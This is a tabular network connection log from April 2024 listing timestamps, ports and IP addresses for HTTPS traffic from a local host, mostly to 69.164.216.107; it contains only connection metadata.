Apr 25, 2024 21:45:07.694586039 CEST	49750	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:07.736118078 CEST	443	49750	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:07.917682886 CEST	443	49718	172.217.215.99	192.168.2.5
Apr 25, 2024 21:45:07.917788029 CEST	443	49718	172.217.215.99	192.168.2.5
Apr 25, 2024 21:45:07.917869091 CEST	49718	443	192.168.2.5	172.217.215.99
Apr 25, 2024 21:45:07.929615021 CEST	443	49750	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:07.929641962 CEST	443	49750	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:07.929697037 CEST	49750	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:07.929711103 CEST	443	49750	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:07.929724932 CEST	443	49750	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:07.929770947 CEST	49750	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:08.382894039 CEST	49750	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:08.382921934 CEST	443	49750	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:08.668375969 CEST	49718	443	192.168.2.5	172.217.215.99
Apr 25, 2024 21:45:08.668404102 CEST	443	49718	172.217.215.99	192.168.2.5
Apr 25, 2024 21:45:08.710239887 CEST	49751	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:08.710289001 CEST	443	49751	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:08.710360050 CEST	49751	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:08.710838079 CEST	49751	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:08.710860968 CEST	443	49751	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:08.967575073 CEST	443	49751	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:08.972273111 CEST	49751	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:08.972309113 CEST	443	49751	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:08.972671986 CEST	443	49751	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:08.973619938 CEST	49751	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:08.973685026 CEST	443	49751	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:08.976385117 CEST	49751	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.024128914 CEST	443	49751	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.225481987 CEST	443	49751	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.225513935 CEST	443	49751	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.225603104 CEST	443	49751	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.225600958 CEST	49751	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.225656033 CEST	49751	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.334789991 CEST	49751	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.334830999 CEST	443	49751	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.366028070 CEST	49754	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.366065025 CEST	443	49754	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.366146088 CEST	49754	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.366719007 CEST	49754	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.366729021 CEST	443	49754	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.461191893 CEST	49755	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.461241007 CEST	443	49755	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.461373091 CEST	49755	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.461905003 CEST	49755	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.461918116 CEST	443	49755	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.488612890 CEST	49756	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.488643885 CEST	443	49756	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.488809109 CEST	49756	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.490217924 CEST	49757	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.490263939 CEST	443	49757	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.490331888 CEST	49757	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.490986109 CEST	49757	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.491003990 CEST	443	49757	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.491527081 CEST	49756	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.491540909 CEST	443	49756	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.629683971 CEST	443	49754	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.631000042 CEST	49754	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.631023884 CEST	443	49754	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.631342888 CEST	443	49754	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.632246017 CEST	49754	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.632292032 CEST	443	49754	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.632780075 CEST	49754	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.676109076 CEST	443	49754	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.718760967 CEST	443	49755	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.727274895 CEST	49755	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.727298975 CEST	443	49755	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.727730989 CEST	443	49755	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.739272118 CEST	49755	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.739377975 CEST	443	49755	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.739770889 CEST	49755	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.748166084 CEST	443	49757	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.750116110 CEST	443	49756	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.755212069 CEST	49756	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.755230904 CEST	443	49756	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.755373955 CEST	49757	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.755398989 CEST	443	49757	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.755739927 CEST	443	49757	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.756124020 CEST	443	49756	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.756263971 CEST	49756	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.756995916 CEST	49757	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.757046938 CEST	443	49757	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.757914066 CEST	49756	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.757961035 CEST	443	49756	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.758181095 CEST	49757	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.758219004 CEST	49756	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.758232117 CEST	443	49756	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.780149937 CEST	443	49755	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.800108910 CEST	443	49757	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.816935062 CEST	49756	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.974967003 CEST	443	49755	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.974993944 CEST	443	49755	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.975030899 CEST	443	49755	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.975044012 CEST	443	49755	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:09.975064993 CEST	49755	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.975116968 CEST	49755	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.990964890 CEST	49755	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:09.990978956 CEST	443	49755	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:10.005856991 CEST	443	49757	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:10.005881071 CEST	443	49757	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:10.005934000 CEST	49757	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:10.005943060 CEST	443	49757	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:10.005980968 CEST	49757	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:10.006689072 CEST	49757	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:10.006706953 CEST	443	49757	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:10.009954929 CEST	443	49756	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:10.009978056 CEST	443	49756	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:10.009984970 CEST	443	49756	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:10.010036945 CEST	443	49756	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:10.010046005 CEST	49756	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:10.010196924 CEST	49756	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:10.020097971 CEST	443	49754	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:10.020134926 CEST	443	49754	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:10.020148039 CEST	443	49754	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:10.020198107 CEST	49754	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:10.020222902 CEST	443	49754	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:10.020237923 CEST	443	49754	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:10.020291090 CEST	49754	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:10.113358974 CEST	49756	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:10.113390923 CEST	443	49756	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:10.113790989 CEST	49754	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:10.113809109 CEST	443	49754	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:10.476444960 CEST	49758	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:10.476489067 CEST	443	49758	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:10.476557970 CEST	49758	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:10.485483885 CEST	49758	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:10.485498905 CEST	443	49758	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:10.741810083 CEST	443	49758	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:10.742225885 CEST	49758	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:10.742244959 CEST	443	49758	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:10.742537975 CEST	443	49758	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:10.747167110 CEST	49758	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:10.747221947 CEST	443	49758	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:10.747314930 CEST	49758	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:10.792107105 CEST	443	49758	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:10.825879097 CEST	443	49709	172.67.128.161	192.168.2.5
Apr 25, 2024 21:45:10.826109886 CEST	443	49709	172.67.128.161	192.168.2.5
Apr 25, 2024 21:45:10.826164961 CEST	49709	443	192.168.2.5	172.67.128.161
Apr 25, 2024 21:45:11.039196968 CEST	49709	443	192.168.2.5	172.67.128.161
Apr 25, 2024 21:45:11.039223909 CEST	443	49709	172.67.128.161	192.168.2.5
Apr 25, 2024 21:45:11.129046917 CEST	443	49758	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:11.129071951 CEST	443	49758	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:11.129086971 CEST	443	49758	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:11.129173994 CEST	49758	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:11.129194021 CEST	443	49758	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:11.129259109 CEST	49758	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:11.349500895 CEST	49758	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:11.349544048 CEST	443	49758	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:11.382339954 CEST	49761	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:11.382381916 CEST	443	49761	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:11.382530928 CEST	49761	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:11.382966042 CEST	49761	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:11.382980108 CEST	443	49761	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:11.646684885 CEST	443	49761	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:11.647272110 CEST	49761	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:11.647296906 CEST	443	49761	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:11.648531914 CEST	443	49761	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:11.804450035 CEST	49761	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:11.804542065 CEST	443	49761	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:11.805288076 CEST	49761	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:11.848125935 CEST	443	49761	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:11.940558910 CEST	443	49761	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:11.940615892 CEST	443	49761	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:11.940670967 CEST	49761	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:11.940691948 CEST	443	49761	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:11.940788984 CEST	49761	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:11.940789938 CEST	443	49761	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:11.940922976 CEST	49761	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:12.177032948 CEST	49761	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:12.177066088 CEST	443	49761	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:12.611852884 CEST	49703	443	192.168.2.5	23.1.237.91
Apr 25, 2024 21:45:12.612119913 CEST	49703	443	192.168.2.5	23.1.237.91
Apr 25, 2024 21:45:12.614808083 CEST	49765	443	192.168.2.5	23.1.237.91
Apr 25, 2024 21:45:12.614861012 CEST	443	49765	23.1.237.91	192.168.2.5
Apr 25, 2024 21:45:12.614953995 CEST	49765	443	192.168.2.5	23.1.237.91
Apr 25, 2024 21:45:12.615871906 CEST	49765	443	192.168.2.5	23.1.237.91
Apr 25, 2024 21:45:12.615906954 CEST	443	49765	23.1.237.91	192.168.2.5
Apr 25, 2024 21:45:12.724528074 CEST	49766	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:12.724589109 CEST	443	49766	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:12.724672079 CEST	49766	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:12.725089073 CEST	49767	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:12.725172043 CEST	443	49767	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:12.725254059 CEST	49767	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:12.725348949 CEST	49766	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:12.725389004 CEST	443	49766	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:12.725508928 CEST	49767	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:12.725545883 CEST	443	49767	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:12.769587040 CEST	443	49703	23.1.237.91	192.168.2.5
Apr 25, 2024 21:45:12.769773006 CEST	443	49703	23.1.237.91	192.168.2.5
Apr 25, 2024 21:45:12.950547934 CEST	443	49765	23.1.237.91	192.168.2.5
Apr 25, 2024 21:45:12.950640917 CEST	49765	443	192.168.2.5	23.1.237.91
Apr 25, 2024 21:45:12.986182928 CEST	443	49767	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:12.987128019 CEST	443	49766	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.069468975 CEST	49766	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.069478035 CEST	443	49766	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.069653034 CEST	49767	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.069679022 CEST	443	49767	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.070816994 CEST	443	49766	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.072576046 CEST	443	49767	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.126760960 CEST	49766	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.218266964 CEST	49767	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.613519907 CEST	49767	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.613826036 CEST	49766	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.614054918 CEST	443	49767	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.614197016 CEST	443	49766	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.619443893 CEST	49767	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.619498014 CEST	49766	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.660159111 CEST	443	49766	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.664110899 CEST	443	49767	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.755311012 CEST	443	49767	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.755403042 CEST	443	49767	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.755466938 CEST	49767	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.755498886 CEST	443	49767	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.755547047 CEST	49767	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.755616903 CEST	443	49767	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.755667925 CEST	49767	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.791130066 CEST	49767	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.791151047 CEST	443	49767	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.834773064 CEST	49768	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.834808111 CEST	443	49768	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.834933043 CEST	49768	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.835184097 CEST	49768	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.835205078 CEST	443	49768	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.837853909 CEST	49769	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.837949038 CEST	443	49769	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.838114023 CEST	49769	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.838710070 CEST	49769	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.838742018 CEST	443	49769	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.849459887 CEST	49770	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.849487066 CEST	443	49770	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.849627018 CEST	49770	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.850392103 CEST	49770	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.850406885 CEST	443	49770	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.880644083 CEST	443	49766	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.880665064 CEST	443	49766	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.880672932 CEST	443	49766	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.880707979 CEST	443	49766	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.880717993 CEST	443	49766	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.880719900 CEST	443	49766	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.880738974 CEST	49766	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.880753994 CEST	443	49766	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.880781889 CEST	49766	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.880789042 CEST	443	49766	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.880808115 CEST	49766	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.880831957 CEST	49766	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.899328947 CEST	49766	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.899336100 CEST	443	49766	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.925659895 CEST	49771	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.925751925 CEST	443	49771	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:13.925832987 CEST	49771	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.926234961 CEST	49771	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:13.926270008 CEST	443	49771	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.096182108 CEST	443	49768	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.096481085 CEST	49768	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.096494913 CEST	443	49768	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.096873999 CEST	443	49768	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.098217964 CEST	49768	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.098275900 CEST	443	49768	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.098366976 CEST	49768	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.104162931 CEST	443	49769	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.104778051 CEST	49769	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.104818106 CEST	443	49769	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.105146885 CEST	443	49769	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.106039047 CEST	49769	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.106106997 CEST	443	49769	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.106551886 CEST	49769	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.112407923 CEST	443	49770	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.112787008 CEST	49770	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.112803936 CEST	443	49770	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.113120079 CEST	443	49770	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.113384962 CEST	49770	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.113441944 CEST	443	49770	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.113554955 CEST	49770	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.140124083 CEST	443	49768	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.148117065 CEST	443	49769	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.156115055 CEST	443	49770	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.183113098 CEST	49765	443	192.168.2.5	23.1.237.91
Apr 25, 2024 21:45:14.183284044 CEST	443	49765	23.1.237.91	192.168.2.5
Apr 25, 2024 21:45:14.183355093 CEST	49765	443	192.168.2.5	23.1.237.91
Apr 25, 2024 21:45:14.190112114 CEST	443	49771	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.191632032 CEST	49771	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.191708088 CEST	443	49771	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.192608118 CEST	443	49771	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.192687988 CEST	49771	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.193219900 CEST	49771	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.193281889 CEST	443	49771	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.193355083 CEST	49771	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.193372011 CEST	443	49771	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.260442019 CEST	49768	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.317471981 CEST	49771	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.352653027 CEST	443	49768	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.352674007 CEST	443	49768	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.352730036 CEST	49768	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.352741003 CEST	443	49768	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.352751017 CEST	443	49768	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.352793932 CEST	49768	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.354648113 CEST	49768	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.354664087 CEST	443	49768	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.362757921 CEST	49772	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.362772942 CEST	443	49772	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.363058090 CEST	49772	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.363260984 CEST	49772	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.363266945 CEST	443	49772	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.366631031 CEST	49773	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.366662979 CEST	443	49773	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.366717100 CEST	49773	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.367010117 CEST	49773	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.367022038 CEST	443	49773	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.375231028 CEST	443	49770	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.375255108 CEST	443	49770	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.375302076 CEST	443	49770	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.375300884 CEST	49770	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.375350952 CEST	49770	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.384429932 CEST	49770	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.384450912 CEST	443	49770	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.455656052 CEST	443	49771	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.455672026 CEST	443	49771	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.455717087 CEST	443	49771	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.455734015 CEST	49771	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.455782890 CEST	49771	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.457159042 CEST	49771	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.457180977 CEST	443	49771	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.498183966 CEST	443	49769	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.498203993 CEST	443	49769	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.498219013 CEST	443	49769	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.498280048 CEST	49769	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.498332977 CEST	443	49769	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.498398066 CEST	49769	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.500459909 CEST	49769	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.500489950 CEST	443	49769	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.627321959 CEST	443	49773	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.629781961 CEST	443	49772	69.164.216.107	192.168.2.5
Apr 25, 2024 21:45:14.649394035 CEST	49772	443	192.168.2.5	69.164.216.107
Apr 25, 2024 21:45:14.649405956 CEST	443	49772	69.164.216.107	192.168.2.5
